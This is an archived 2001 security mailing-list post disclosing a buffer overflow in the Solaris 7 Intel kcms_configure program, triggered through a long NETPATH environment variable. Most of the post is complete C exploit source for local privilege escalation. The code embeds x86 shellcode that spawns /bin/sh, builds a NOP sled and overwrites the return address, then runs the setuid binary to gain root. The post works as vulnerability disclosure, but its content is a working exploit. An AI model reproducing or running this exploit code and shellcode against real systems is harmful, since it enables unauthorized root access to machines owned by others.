Hello kcms_configure has a overflow bug with "-P" option and it has been reported(107339-01). But, this program has another hole. kcms_configure overflows if long string is specified in NETPATH environment, it is exploitable. I coded an exploit for Solaris7 intel edition to obtain a root privilege. ------ ex_kcms_configure86.c /*============================================================================= kcms_configure Exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguinat_private) ============================================================================= */ #define ENV "NETPATH=" #define MAXBUF 3000 #define RETADR 2088 #define RETOFS 0xad0 #define FAKEADR 2076 #define NOP 0x90 unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh"; main() { char buf[MAXBUF]; unsigned int i,ip,sp; putenv("LANG="); sp=get_sp(); printf("ESP=0x%x\n",sp); memset(buf,NOP,MAXBUF); ip=sp; buf[FAKEADR ]=ip&0xff; buf[FAKEADR+1]=(ip>>8)&0xff; buf[FAKEADR+2]=(ip>>16)&0xff; buf[FAKEADR+3]=(ip>>24)&0xff; ip=sp-RETOFS; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+2500,exploit_code,strlen(exploit_code)); strncpy(buf,ENV,strlen(ENV)); buf[MAXBUF-1]=0; putenv(buf); execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0); } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguinat_private (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyunat_private
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:14:56 PDT